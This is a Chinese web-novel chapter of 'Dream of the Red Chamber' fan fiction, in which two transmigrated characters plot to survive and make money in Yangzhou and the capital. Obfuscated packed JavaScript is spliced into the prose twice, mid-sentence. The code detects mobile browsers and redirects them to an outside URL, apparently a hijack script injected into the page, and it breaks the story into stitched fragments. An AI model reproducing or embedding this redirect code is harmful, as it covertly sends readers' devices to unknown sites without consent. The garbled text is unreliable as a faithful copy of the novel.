《红楼之远亲》 1. 事起 烟花三月,扬州城外。 清醒的瞬间,邬桐只觉大脑钝痛,像是被摄人的激光贯穿,身子不由自主地晃动起来。等闭上眼睛休息一会儿,才恍然,这份晃动来自屁股下飞驰的马车。 邬桐快速地在车内扫视了一圈。车厢左侧固定着一个木桶,内是呕吐的秽物,虽被盖住,然车厢内空气不流通,还是隐隐有气味传出。 强忍住呕吐的冲动,邬桐拍拍悸动的胸口,原身强烈的执念让她不由自主地看向躺在一侧的男孩。 少年长衫窄袖,布巾裹住黑发,虚弱地躺在马车一侧。似是先天不足,脸色苍白,双颊呈现病态的暗粉色,衬得小脸愈发羸弱。 钝痛再次传来,邬桐赶忙心道:“我会救你哥哥和弟弟的,放心。” 良久,心口的钝痛才渐渐褪去,邬桐闭了闭眼,马车周边绿树、青草似被灵气所感,纷纷扑簌簌抖动,细细的绿线慢慢飘起,快速向她体内聚拢。邬桐握住少年的手臂,为这个两辈子唯二还活着的亲人,缓缓注入绿色植物系异能。 “桐姐儿,柏哥儿怎么样了?”狂奔的马车外,充当车夫的大哥邬杨声音干涩,担忧之情充溢在声线内。 “没事,大哥好好驾车即可。”邬桐头也不抬,看着原身弟弟渐渐和缓的脸色,英气的眉眼染上清浅的笑。 据脑内的记忆,原身邬桐和邬柏乃是双生子,自来感情好。母亲死后,兄妹三人在邬家相依为命,感情是谁都无法比拟的。 邬桐停止异能注入,免得邬柏脸色变化过快引人怀疑,再次闭上眼睛,沉入原主的记忆中,希望能多挖些信息。 脑内几个画面交接闪现。 病重的母亲被健壮的仆妇扔进马车,接着是尖锐的女声:“夫人好生去庄子上养着吧,等好了自会接您回府。您的孩子们孝顺,自然是跟着去庄子上照顾您。” 小姑娘恨恨地掀开车帘,路过正门时,“粤海邬府”几个大字映入眼帘。 萧索的农家院落,红色的木棉花落满地,病重干枯的母亲拉着小姑娘的手,指着弟弟,虚弱地交代后事:“京城,荣国府,逃。” 年长六岁的大哥,拿着用玉佩换来的药,气喘吁吁地推开房门,却只看到母亲临终前垂落的枯瘦如柴的手。 又一个夜晚,皓月当空,小姑娘背着包袱,拉着有些怯懦的弟弟,爬过狗洞,跟在外面接应的大哥混入黑夜。 最后的画面,是船舶行驶到江浙一带,遭遇匪寇袭击。甲板上到处都是尖叫着跳海逃命的陌生人,大哥咬着牙,跟弟弟妹妹交代:“记着,我们是去京城,贾家,荣国公府。记清了,一旦走散,只管朝京城走。” 至于怎么坐到马车上,小姑娘就没记忆了。 邬桐眼皮儿微颤,一时有些难以置信。 贾家,荣国公府?这是《红楼梦》?原身的母亲倒是没怎么提过贾府的事,耐不住老嬷嬷们整日将国公府挂在嘴上,原主自己就听到过好几次。 邬桐心内轻哼一声,柳琼那厮要是也来了此地,不得笑醒,哭着闹着去看他女神。 当时被虫族攻击,她和柳琼帮不上什么忙。她的异能主要是治愈系,精神系异能很弱,并不足以控制虫族。每次战斗时,在一旁偷摸给队友治伤即可,从不冲杀在前。 柳琼更没用,异能只是个空间,还只有不到二十平,什么灵泉想都别想,就一空空的屋子,啥也没有。外出做任务,他就是个移动的储物间。 如今也不知道那家伙跑哪儿去了。想来如果知道来了《红楼梦》这本书,肯定会去大观园看看的,那原身母亲临终前交代他们投奔贾家也没错。 “哥,还有多久到扬州城?”邬桐睁开眼,问道。原主晕倒前,模模糊糊听到大哥说先去扬州城投奔林如海,固有此一问。 “快了,关城门前应该能到。”邬杨声音听起来轻松许多。自来桐儿最疼弟弟,如今有心情关心路程之事,想来小弟的情况肯定好转许多,“先忍一忍,这马车是咱们抢来的,被人发现了肯定会追。还有那些匪寇,不知道有没有上岸追杀咱们,早些进城才能安心。扬州城内有林如海林大人,乃是贾府嫡女的夫婿,礼法上亦是我们的姨父,我们进城投奔林府,安全肯定无虞。” 邬桐点点头,心内却暗暗回忆看过的《红楼梦》。 末世来临前,她是学珠宝设计的,《红楼梦》虽然看过,更多的是看其中的衣物和首饰,其他的还真没多注意。 不过书中肯定是没有她这么个人的,但从她能穿来就知道,世道变了,原来的《红楼梦》有几分参考价值就不得而知了。 她不记得书中提到过原身的母亲,想来是史老太君不喜庶子庶女,王太太和王熙凤这等最会隐忍和拍马的人,自是半句不会提不会露。 不过冷子兴演说荣国府时提过,贾敏那一代是老姊妹四个,贾敏是最小的。想来肯定是有庶女存在的,只是嫁去哪里、什么时候死的就不知道了。 邬家倒是提过一次,在贾母八十大寿时送过一个屏风,其余地方倒没有见过。结合原主的记忆,那时原身的母亲只怕早就死了,邬家是通过送屏风维护跟贾家的关系呢。 邬桐动动眼珠子,回忆着柳琼曾经嘀咕的话。贾家和其他四王七公肯定是参与到前太子的事里去了,否则最后不会落到抄家这一步。那他们上京,最好就是不投奔贾府。 可不去贾府,他们作为史老太君法理上的“外孙外孙女”就站不住脚,非得被人指着鼻子骂不孝。大哥和小弟都是要科举进仕的,这个名声沾不得。 邬桐脑内翻转,林如海,是了,只有林如海。他是巡盐御史,肯定是皇帝信重之人才能任此职位。他们要投奔的不是贾家,必须得是林家才行。 林如海不能死,邬桐睁开眼睛,眼神内精光大盛。正好,林如海不死,看你贾家那三二百万的外财从何而来。柳琼那厮也不必再为女神愤愤不平。 花着人家林妹妹的银子,竟连燕窝都不给吃,忒得气人! 而她,说不得靠着林家,也能过上上辈子想都不敢想的咸鱼躺平的人生呢。 - 宁荣街廊下,一座二进的狭窄院落内,药香飘得隔壁院子都能闻到。 街坊邻居摇头叹息,却没多少人真心怜悯的。无他,贾琼不学好,整日出去胡混,如今病重,众人也只感慨贾琼之母刘氏命苦罢了。丈夫早亡,眼看着又要白发人送黑发人,不是命苦是什么? 可命苦的刘氏,此时却高兴地路都走不稳,跌跌撞撞地推开医馆的门,说什么都要让胡大夫再去家里一趟。 谁能想到,寿材都备好了,今早琼哥儿醒了! 胡大夫先还不信,觉得刘氏大概是太过心痛,一时疯癫罢了。谁知把过脉后,脸上惊讶之色藏都藏不住。作为经年的老大夫,最会的就是隐藏情绪,让人从脸上看不出半点端倪。如今却一时漏了马脚,虽很快掩饰过去,还是让刘氏一时不知该作何反应。 胡大夫摸摸胡须,昨夜明明是强弩之末的脉象,谁知如今竟强劲了许多。 许久,胡大夫才开口:“琼哥儿乃上天保佑,天大的福气啊。我开一副养身子的汤药,喝过三剂即可痊愈。” 从没听过这么明确的医嘱,刘氏愣在那儿,呆呆地看着大夫,一言不发。 胡大夫轻咳一声,知道他一时忘形,话说得过满,引刘氏怔忪了,幽幽补充道:“痊愈后还需仔细身子,不可再和人打架斗气,否则神仙也别想救了。” 刘氏这才像被点化一般,脸上堆起笑恭维胡大夫:“多谢老神仙,您请。” 等刘氏和胡大夫出去后,柳琼才慢慢睁开眼睛,心内窃喜。嘿嘿,他成了贾家出五服的远亲,等运作一番,抄家算不上他,大观园还能进去看一看,再见见女神和金陵十二钗,跟桐儿在《红楼梦》里双宿双飞,想想就爽。 柳琼高兴地想摇头晃脑,无奈病着不敢乱动,挖空心思地回忆原书里的只言片语。 贾琼这个名字提过,贾母八十大寿的时候特意写到,贾琼之母带着女儿四姐儿去大观园陪客,贾母留四姐儿,和另一个族人之女喜鸾住在大观园里。 可贾琼做过什么就不得而知了,家人就更没提过。 原身贾琼的曾祖父贾湖和宁国公贾演是堂兄弟,两人是同一个祖父,到了已故的父亲贾繁这里,已经是第五代,偏偏父亲死亡,一家之主贾琼已经是出五服的普通族人了。 这贾琼今年十五,读书练武皆不成,整日跟着贾瑞和贾芹这等腌臜人,能混出个什么名堂。贾瑞那等连王熙凤都敢肖想的人,能是什么好人不成。 贾琼还有一弟弟贾瑾,大概十岁年纪,平日里倒也乖巧,妹妹四姐儿刚六岁,还是个不知事的小丫头。 母亲刘氏出身京城小吏之家,虽没什么品级,上不得台面,但实惠是不缺的。从母亲陪嫁过来的两个小庄子就能看出来,母亲娘家是不缺钱的,这些年家里也是一直靠着母亲的嫁妆过活。 本来父亲是想要回金陵老家养老的,奈何原主贾琼淘气,不想离了京城这富贵迷人眼的销金窟,愣是磨蹭着不肯走,整日跟着贾瑞和贾芹胡混,生生气死了父亲。 前几日,原主和贾瑞、贾芹去娼尼庵里胡吃海塞,不知是不是那酒里有东西,回来后就一命呜呼,便宜了他这个穿来之人。 柳琼看着床幔,布料都洗得发白了,刚接待大夫的也是原身母亲刘氏,连个上茶的丫鬟仆妇都没有,看来原身父亲贾繁和原身先后一死一病,家里的钱接济不上,竟是连下人都发卖了。 他叹口气,还是得先赚钱啊,不然又得被邬桐那家伙瞧不起了,说什么百无一用是书生。 他一个文学系的,觉醒了整整二十平的空间异能,已经很了不起了好不好。 等等,空间,柳琼闭上眼睛,再次睁开后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小弟邬有义拿着密信,慌慌张张跑进正堂:“大哥,贾家那三个外孙外孙女死了,这可怎么办?” 邬有仁眼中精光一闪,接过密信瞥了一眼,问道:“此事还有谁知道?” “啊?”邬有义倒是长得舒朗大气,却面色蜡黄,一看就是精亏肾虚之相,“这是密信,往来都是死士,自然是只有我们知道。” 邬有仁心内叹气,懒得对草包弟弟解释,直接问道:“我是问,桐姐儿和柏哥儿偷偷上船去京城的事,还有谁知道?” “就只内宅伺候的几个人。”邬有义眨眨眼,虽不明白大哥怎么突然问起这个,还是答道,“当日他们偷跑出去,我就按大哥说的,派人看管住了后院,没人敢乱说话。” 贾家那庶长女死去已有三年,长子邬杨守孝后要去京城考春闱,邬有义虽不喜长子,却也不拦着他奔前程。 谁知那对花棒儿胆大包天,竟然偷偷跟着一起上了船。现在全军覆没,邬家和贾家的姻亲关系岂不是断了? “好。”邬有仁左手轻轻地敲了敲太师椅的扶手,半晌沉声道,“放出话去,就说柏哥儿病了,过几日和杨哥儿的死讯一起报给京城国公府。桐姐儿年纪大了,被拘在府内学针线内务,一二年之内都不会外出。” 邬有义觑了眼大哥的神色,弱弱地问:“那一二年之后呢?” 邬有仁闭上眼,幽幽道:“一二年之后,自然是该进京择婿了。贾府从没派人来看望过三人,谁知道他们长什么样子?还不是我们邬家说谁是贾府外孙女,谁就是贾府外孙女。” 邬有义先是吃惊,而后嘴角慢慢上扬:“大哥放心,那贾家的嬷嬷交给我,肯定服服帖帖的。” 邬杨和邬柏死了,不还有邬桐在吗?一个女孩儿,他邬家还养得起。 当初他娶贾府庶长女,不就是为了攀附上国公府?只要国公府外孙女还活着,他们邬家跟四王八公的关系就不会断。 “那二哥那边......”邬有义还是有些不放心。 “密信都是先到我们大房手中,他邬有道能知道什么。”邬有仁不屑地撇撇嘴,“粤海将军又如何,邬家还是我这个族长说的算。” 邬有义嘿嘿笑两声,安心坐下,品起大哥房内的好茶来,有半盏茶功夫,才再次开口:“那杨哥儿和柏哥儿的丧事......” “过两天一起立个衣冠冢。”邬有道捻起一颗乌梅放入口中,声音含混道,“海上的盗匪最近太猖狂了,连我们邬家的船也敢动。给二弟一些银子,让他剿匪。” 邬有义点点头,这是支开二哥呢。不过邬家大房每年给盘踞瀛洲岛的巨匪十万两白银,就这还敢时不时劫他们邬家的船,以为邬家是吃素的不成? 邬有道能被皇上封为粤海将军,就不是无能之辈。虽然妇人之仁了点儿,打仗的本事还是有的。 2. 赚钱 兄妹三人丝毫不知,他们即将失去身份。傍晚,马车驶入扬州城。三人找了一家客栈歇脚,因出手大方,店家特意拨了一处幽静小院儿,调派了一个婆子伺候茶水。 客房内,邬柏悠悠醒转,见到姐姐担忧的眼神,不自觉笑笑:“姐,我想喝碧粳粥。” “好,姐这就给你煮。”邬桐舒口气,没说在外面哪来的碧粳米。记忆里,弟弟邬柏是个十分懂事的孩子,断不会无理取闹,他只是隐晦地表示,他身子好了,想吃东西了,又哪里是真的想吃碧粳粥呢。 在邬家大宅,他们一个月也吃不了一次碧粳粥的。 喂过半碗白粥,柏哥儿呼吸慢慢放缓,进而越来越规律,几不可闻。邬桐放轻脚步,来到大哥邬杨房内。 记忆里,原主的性子跟她是有几分像的,她只需按心意行事即可,看来临死前救了队友,老天对她还是有几分厚爱的。 “小弟怎么样了?”邬杨放下书问道。 当日在船上遭遇匪寇袭击,三人的大部分财物都落入水中,只有桐姐儿贴身存放的五百两银票还在。 桐姐儿心细,银票外密密缝上了牛皮纸,才不至于损毁,否则三人连住客栈的钱都没有。 “喝了白粥,歇下了。”邬桐拿起茶杯咕咚咕咚灌了下去,茶水清甜,是很久没尝过的味道。 邬杨摇摇头,桐姐儿总是这般,凉茶凉饭从不忌口,也不怕得病。 “哥,当时我和柏哥儿是偷偷上船的,你说爹他们收到消息,是会派人来找咱们,还是说你死了,柏哥儿突闻噩耗病重身亡,而我还待字闺中呢?”邬桐重重放下茶盏,轻哼一声,“婉姨娘可巴不得你俩都死了呢。” 邬杨脸色微变,母亲生前就不被父亲所喜,后宅一直是婉姨娘把持。他和弟弟要不是占着贾家外孙子的名头,早不知被害多少次了。如今有了名正言顺“死去”的理由,婉姨娘的儿子就成了唯一的继承人...... “那匪寇......会不会是被婉姨娘收买的?”邬杨不笨,旋即想到了关键,声音有些抖。他不信妹妹偷跑出来的事情婉姨娘不知。她掌管后宅那么些年,妹妹和弟弟两个怎么那么顺利就跑出来了? 他虽然住在前院儿,后宅的事也不是一无所知。要不是被磋磨的没办法,妹妹怎么会想着去投奔贾府? 邬杨懊恼地拍拍额头,看向邬桐的眼神饱含歉意:“都是大哥没用,害了你和柏哥儿。” “这怎么能怪大哥?”邬桐见大哥想明白了,嘴角挂上一抹略带嘲讽的笑,“正好,我们能脱去邬家的脏皮,用其他的身份入京才好呢。” “桐姐儿的意思是?”邬杨知道这个妹妹主意多,心性又坚韧,急忙问道。 “大哥,二伯给的那枚扳指是谁的?”邬桐不答发问。 闻言邬杨脸色变了变。他在前院儿时常跟着大伯、二伯和父亲接旨,一些标记还是认得的。 当时要上京赶考,二伯父邬有道临走前一天匆匆来见他,给了一枚扳指,说是让他给三王爷,其余一句话也没说。 他一个赴京赶考的举子,虽说是贾家外孙,可一个远嫁庶女的孩子,这么些年国公府连派下人看望都不曾,谁还会真心待他? 只怕连参加王孙公子的宴会的资格都没有,更遑论见郡王了。 见邬杨眼神闪躲,邬桐知道大哥想明白了其中的关节。只是事关重大,邬杨不好跟她提罢了。可如今三人有了性命之忧,有些事还是说清楚的好。 “大哥,那扳指是不是太子的?”邬桐直截了当地问道。东宫之物都是有标记的,说不得大哥邬杨认得。 《红楼梦》多用春秋笔法,很多事情都模模糊糊,真相到底如何都是猜测。此时她身在局中,只得抽丝剥茧,小心应对。 “你......”邬杨脸上的震惊之色恰好证实了邬桐的猜测,思考良久,邬桐才再次开口道:“我听嬷嬷们提过,之前国公府收到过王府、东宫甚至是皇宫的赏赐,嬷嬷说东宫和宫里的东西上都有印记,我这才知道的。 既然我们没了贾家的庇护,须得再找位高权重之人庇佑才行。大哥觉得林如海如何?”虽然不想依靠他人,不过此时身在局中,先保住小命才是最要紧的。 虽不知邬桐有何打算,邬杨仍是诚实答道:“林如海能任巡盐御史,自然是皇上的信重之人。为人如何不知,为官自是有几分道行的。” 邬桐点点头,缓缓开口:“大哥何不防将那枚扳指给林大人?我知道大哥的难处,我们见不到大人物,那就让林大人去见。或者,我们以林家庶子庶女的身份进京,大哥觉得如何?” 邬杨眼神微闪,紧紧盯着邬桐的眼睛:“桐姐儿,你是不是猜到了什么?” 邬桐点点头,大哥虽然耿直,但不笨,能在19岁考中举人,她就知道瞒不住:“首先,太子在南海有势力。二伯是皇上的人,从府里每年只有皇上的赏赐,没有太子的赏就知道。所以,这个势力一定是二伯刚发现的。 其次,这个势力一定是对太子很重要的,不然二伯不会让大哥上京带消息。南海小岛众多,只要有一个有......有藏兵,二伯就是失察之罪。 而且这个失察也不算冤枉二伯,大伯和爹跟二伯从来就不是一条心,说不得早就暗暗投靠了太子。怕就怕南海真的有叛军,而大伯和爹参与了其中。 大哥,无论如何,我们得早些脱离邬家才行。” 声音虽轻,却仿佛带着千钧之力,压得邬杨脊背都甭不直了。太子可是半年都没任何消息了!前几日的邸报里,还有皇上训斥太子之语! 邬杨倾身靠近邬桐,用尽量低的声音在其耳畔道:“大哥知道了,这件事谁都不要说,柏哥儿那里半点风声也不能露,知道吗?” 邬桐心内翻个白眼儿,脸上表情没控制住,被邬杨察觉,他好笑地摸摸邬桐的头:“好了,哥哥不过白嘱咐你一句。我家桐姐儿最聪明最懂事了,是不是?” 见邬桐脸色和缓,邬杨才又低声道:“你放心,我手上还有当年娘亲出嫁时带来的贾家名帖,明日就去林府见林大人。” 邬桐缓缓点头,想了想道:“大哥,咱们最好等几日再去,得看看粤海那边的反应。” “是我心急了。”邬杨叹口气,似是想到了什么,脸色难看起来,“如果你猜的是真的,那贾府的名帖就用不成了。名帖上都有名姓,被人知道我们拿着名帖行走,肯定会招来祸事的。” 房间内再次陷入沉默,良久,邬桐沉吟道:“大哥,这两天你去茶馆酒楼打听消息,我在这里照顾柏哥儿,并想办法赚些银钱。 要是贾府和林家都投靠不上,咱们就得自己赚钱去京城了。大人物肯定是要见的,银子也肯定是越多越好。” 邬杨抹了把脸,沉重地点点头。他已经二十二岁,因连续守孝还未成亲,要不然有内人照顾弟弟妹妹,比让两人单独在客栈安全多了。 这一夜,众人心思各异地进入梦乡,全新的红楼篇章缓缓开启。 - 宁荣街不远处的一处二层茶楼,柳琼坐在上楼必经的小桌旁,点了一壶便宜的碧螺春,将前几日用硬草纸画的扑克牌摆在桌上,煞有介事地嘀嘀咕咕,等待鱼儿们上钩。 这个茶楼是柳湘莲和冯紫英几人最爱来消遣的地方,他已经等了两日,料想今日几人必是要聚一聚的。 果然,茶还没喝三盏,薛大傻子憨直的声音就响起:“冯兄弟跟我争什么,我刚到京城,还没请诸位兄弟聚一聚呢,怎么说都该是我请客才对,冯兄要是再推脱,可就是看不起我薛某人了。” 呵呵,柳琼心内冷笑,薛蟠啊薛蟠,打死人命却丝毫不当回事,就不要怪我赚你的钱了。 光鲜亮丽的众人出现在茶楼门口,贾珍贾蓉父子赫然在列,柳琼忙站起来行礼:“珍大哥。” 贾珍也就三十来岁的样子,鼻梁高挺,眼窝深陷,端是生得好样貌,闻言笑着点点头,看起来心情很好,难得地问了句:“琼儿怎么单独来这里喝茶了?瑞儿和芹哥儿呢?” 柳琼堆起笑,似是受宠若惊:“小子前几日病重,冷落了瑞儿和芹哥儿,不知两人在何处。” “琼大爷,你这是什么新鲜玩意儿?怎么没见过?”柳湘莲不愧是被部分红迷称为红楼第一美男子的男人,长身玉立,鸭青色绸缎长衫,虽是落魄公子,看起来却半点儿不差钱的样儿,说起话来也爽朗得紧。 “这是小子在病中琢磨的纸牌,只是须得三个人才能玩,这不正在这里分牌自己跟自己玩儿呢。”柳琼指着被分成三份的纸牌,笑呵呵地介绍怎么玩儿,怎么相斗。 贾珍、冯紫英这些人都是欢场的老手,如何听不出来其中的门道。这可是后宅、风月场所再好不过的消磨时间的玩意儿,做得精致了,王府、宫里说不得也能送去。 贾珍收敛起脸上的轻慢之色,这才打量起“贾琼”。少年眉眼高挺,气质不俗,站在那里不卑不亢地任人打量,毫不怯懦自卑,奇怪,以前怎么竟会觉得此人不堪大用? 顾不得纠缠过去,贾珍热情地揽过柳琼的肩膀,径直往楼上带:“走,琼兄弟,跟哥哥去楼上包间。咱们就玩你今日做的这扑克牌。” 柳琼自然是做出一副感天动地的惊讶神色,心内知道这一波钱稳了。 虽然这些人不可能让他参与后期的制作和分润,但前期卖方子的钱肯定少不了他的。他要的就是这个启动资金,有了第一桶金,其他的东西再拿出来也有了出处。 而且扑克牌上他标上了暗语,如果邬桐也来了这个世界,根据暗语就知道他的身份,来这里找他即可。 “这个玩法儿叫斗贪官,须得三个人才行......”柳琼收回心神,在包间内细细给众人讲解扑克牌的玩法。他的声音不疾不徐,贾珍几人却越打越上瘾,竟是连小倌儿也没叫,生生打了一下午的扑克牌。 薛蟠不知是否走了狗屎运,竟然赢了二百两银子。他也不藏私,知道珍大哥哥是想做这个扑克牌的生意,他收拢起赢来的银票,将柳琼拉到角落里嘀嘀咕咕:“琼大爷,你这扑克牌的点子,二百两卖于我如何?” 见柳琼要推辞,薛蟠拍拍对面人的肩膀,乐呵呵道:“知道琼大爷不缺这仨瓜俩枣的,这二百两银子就当是小弟送你花的,咱们不说那买卖的话,怎么样?” 柳琼这才像模像样地点点头,接过银票,拱拱手道:“薛兄客气了,扑克牌在我这里就是个玩意儿,你只管拿去,我绝无二话。” 薛蟠直起身,冲贾珍眨眨眼,这才放开人:“那就不打扰琼大爷回家养病了,回见。” 装着看不见薛蟠和贾珍的眉眼官司,柳琼拱手告辞,对薛蟠这种用过就扔的行为不置可否。等出了茶楼,他又摸摸藏到衣袖里的二百两银票,乐颠颠儿地回家去也。 - 扬州城昌隆银楼,胖乎乎的掌柜对着一沓儿图样看了又看。被肥肉挤的只剩一条缝的小眼睛,暗暗观察着对面的“公子”。作为经常跟人打交道的生意人,就算穿了男装,他也一眼就看出了眼前这位是个女子。 鹅蛋脸,肌肤细腻,唇红齿白,虽身材单薄,却并不像是吃不饱饭缺银子的。 那就是大家出身,一时落魄,需要银钱周转,派遣信得过的女仆过来换些银子。 莫欺少年穷,做买卖多年,掌柜自是内里精明之人,心内权衡一番,缓缓开口:“五百两,这位兄台,不能再多了。我们昌隆银楼可是扬州城最大的银楼,您就是到其他城卖,也高不过我出的这个价钱。” 邬桐穿着哥哥的衣衫,心内大大地松口气,表面却皱皱眉,似是对价钱不满想再说些什么,又似是脸嫩不好意思辩驳,半晌才开口:“罢了,五百两就五百两吧,只是扬州城内我虽只卖你一家,但其他城就不一定了。” 胖掌柜松口气,呵呵笑起来,白嫩的面皮上笑出了深深的法令纹:“那是自然,我们没有那么霸道,其他城的生意您随意。” 昌隆银楼可是甄家的生意,今日买了这图样,明日全江南就知道了,谁还会买?谁还敢买?小“公子”还是太嫩了。 说着招手叫伙计去账房支银子,又亲自给邬桐斟茶:“公子尝尝我们这茶,可是正宗的明前龙井,再好不过的茶叶。” 邬桐冲掌柜点点头,低头品了一口。她能喝出来什么,让柳琼那厮喝还差不多,惯会附庸风雅。她还就喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100317|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢喝奶茶,可惜这里没有,末世又太贵,哎。 心内乱七八糟腹诽一番,邬桐抬起头,眼睛亮晶晶地恭维:“好茶。”反正夸就对了。 伙计将一个填漆红木匣子递给掌柜,邬桐不慌不忙地低头品茶,心内着急得紧。 这沓珠宝设计图,她足足画了两个晚上。扬州城内只能卖这一次,一路上去京城,走陆路还好,要是坐船,可统共卖不了几次。 要是兄弟三人单独上京,怎么着也得有个二三千银子才能衣食无忧。京城居,大不易,二三进的宅子怎么也得上千两了。 就算是要躺平,也得舒舒服服地躺平,她可不想睡土炕,盖粗被,吃饱穿暖都成问题。 心内纷纷杂杂,眼神儿却时刻留意掌柜和伙计的一举一动。见掌柜点清了银票,伙计也退出去了,邬桐这才放下茶盏。 掌柜适时将红木匣子推过来:“小兄弟点点,不多不少,正好五百两银票。” “客气,我自是信得过掌柜的。”刚刚她就默默数了,整五百两不差。 出了银楼,怀里多了五百两银票,邬桐也不到处逛了,径直回了客栈。客栈小院儿内,经过两日的治疗,柏哥儿脸色明显红润许多,正在屋里背书呢。 “姐。”柏哥儿放下书本,喜盈盈地站起来,挽住邬桐的胳膊撒娇,“你怎么出去这么久才回来?” 邬桐揉揉弟弟的头发,脸上挂着笑,心内却为柏哥儿担心。原主是个有主意的,从小就护着弟弟,让柏哥儿长成了个万事不操心的性子,虽单纯良善,却也太没心机了。以后去了京城,被人利用就不好了。 “我出去打探消息。”邬桐缓缓开口,少不得慢慢透出些口风,让柏哥儿生些警惕,“船都翻了两三日了,按说邬家应该来人调查才是。” 邬柏眨眨眼,姐姐从没跟他讨论过外面的事,他试探着开口:“没人来吗?” 竟是个一点就透的主儿。邬桐心内赞一声,为穿来的好运气高兴,脸上却带出些凝重:“没有,竟是半点儿邬家的消息也无。” 这句话的含义就丰富了。邬柏跌坐在柳木交椅上,脸色发白:“婉姨娘......竟是想鱼目混珠不成?可大哥在船上,怎么也该派人来确认消息才是。” 见人已猜到,邬桐干脆也不隐瞒,将猜测一一告知:“大哥和你都死了,才是对她最好的消息。只需派得力的手下走一圈儿,不论见没见到尸首,只管说死了就是,谁还会专门来查验? 你身子本来就不好,说你伤心过度而亡,谁会怀疑? 再在内宅里找个庶女冒充我,和国公府的姻亲就不会断,婉姨娘的儿子又成了名正言顺的继承人,岂不是两全其美? 说不定等两年,还能将那个冒充之人送到京城,让贾家帮着寻摸个好亲事,又能废物利用一回,为她儿子保驾护航呢。” 原身已经十三岁了,就是怕婉姨娘胡乱说亲,原主才带着柏哥儿偷偷上船投奔贾府,谁知棋差一着,终是落得个双双身死的下场。 还想开口说两句,就见邬杨匆匆推门而入,眼神里有慌乱,有震惊,就是没有伤心难过。邬桐知道,大哥打探到消息了。 “大哥但说无妨,柏哥儿是个知道分寸的,以后咱们三个相依为命,正该互为臂膀才是,万不可再你瞒我,我瞒你的。”邬桐起身为大哥斟茶,开口劝道。 邬杨盯着茶杯半晌没动静,许久才幽幽开口:“近晌午的时候,我在茶馆喝茶,听到有人议论,说是邬家大房的二子,贾家的外孙邬杨进京赶考,在船上遭倭寇袭击,死了。” “没有我们两个的死讯?”邬柏颤着声儿问。 “没有,只说我没了。”邬杨一口将茶饮尽,咣当一声,茶杯在小几上颤了颤,“父亲太过糊涂,竟是半点儿亲情也不顾及。” 邬柏眼泪早如断线的风筝般扑簌簌落下,他身子不好,经常住在后宅和姐姐艰难求存,父亲半句不问,还有何亲情可言?要不是大哥读书好,能为他博个前程,说不得大哥连书也读不成。 “可有邬家下人来扬州的消息?”邬桐不欲在原身父亲身上多做纠缠,原主对此人就没什么感情,更遑论她了。 “没有。”邬杨抹了把脸,眼神中带上些果敢,“明日我想办法见见林大人。” “那就是婉姨娘的手笔了。”邬桐叹口气,将猜测道出,“先是纵容我和弟弟逃上船,再收买盗匪袭击,最后再四处传播消息说哥哥死了。见林大人的事......” 邬桐想了想,给大哥出主意道:“大哥从盐商身上想想法子,林大人是巡盐御史,跟盐商关系莫逆,林府上肯定每日都有盐商登门。” 盐商又怎是那么容易打动的,邬杨心内发苦。世上最富的,除了海商,恐怕就是盐商了。且商人精明,他一个陌生人贸贸然撞上去,被人误认为想分一杯羹就遭了。 大哥的脸色邬桐瞧见了,知道出了个馊主意,她也不懊恼,在心内搜肠刮肚原著的剧情,眼前一亮:“大哥不妨说是受贾雨村之托,来林府给女公子带信儿的。” “贾雨村?”邬杨呢喃,“桐姐儿,你怎么知道这么个人?根据邸报,这人刚被任命为应天府尹,正四品官职,要是林府派人去问,咱们可就露馅儿了。” “我跟着大哥去,昔日邸报我也是看过的,自然知道贾雨村。且我这几日在扬州城内打探消息,听闻林家女公子有一个贾姓师父,护送女公子去京城探亲,之后投靠贾家谋得高官,想来就是这个贾雨村了。 现在咱们没有头绪,又不能去外面乱碰,少不得用上一用了。林大人知道消息后,自然会帮着处理后续,咱们重要的是先见到林大人。”邬桐将想到的一一告诉大哥和小弟。 邬柏不知道为何一定要见林大人,但他知道如今三人处境艰难,哥哥姐姐不会害他。虽懵懵懂懂,却也没开口多问。 有很多话邬桐没法说出口,也许是古时候空气清新,灵气更重,这几日她的异能突飞猛进,原本还不太强的精神系异能已经快到S级了,控制几个门子或仆从的记忆不在话下。 三人一时没了声响,房间内落针可闻。半晌,邬杨重重叹口气:“也罢,明日我带你去一趟。” 3. 林家 自从逃难以来,二妹性情变化许多,不再似以往那般横冲直撞,想来是有几分把握的。可惜二妹没托生成男子,否则科举真没他什么事儿了。 第二日一早,装扮一新的邬桐跟在邬杨身后,在林府门房内坐着,等府内通传。作为巡盐御史,门房内自是坐了很多等待候见的盐商。 门子倒是没为难二人,又是女公子老师又是为小姐捎信儿的,自是早早禀告进去了。 等门子着小厮为两人带路时,邬桐跟在邬杨身后,施施然进入林府。 林如海不愧是能高中探花的人,府内布置得颇为雅致,茂林修竹,轩昂壮丽,厅房内一溜儿八张楠木交椅,后侧墙壁上,挂着一副嵌银乌木牌匾,下面是青绿山水,既富贵又不失读书人的文雅。 邬杨和邬桐分别在西侧交椅上坐下,早有青衣小厮上茶水和点心。倒水时一点儿声音也无,可见林府规矩之严。 邬桐心内满意,这步棋走对了。日后和林府往来还要仰仗大哥,她也不多嘴,只看大哥行事即可。况且扳指在大哥手中,她就是想兜揽事情也需要由头,况且她并不想兜揽。 只要和太子、皇上挂边儿的事,再小都有可能招来杀身之祸。大哥从小读圣贤书,对于这些事比她这个半道穿来的熟悉多了,她又不想找死,何苦多言。 她和柳琼在末世都是死了的人,还想在这个花花世界多过几年好日子呢。多少年没吃过白花花的大米饭和绿油油的青菜了,她惜福着呢。 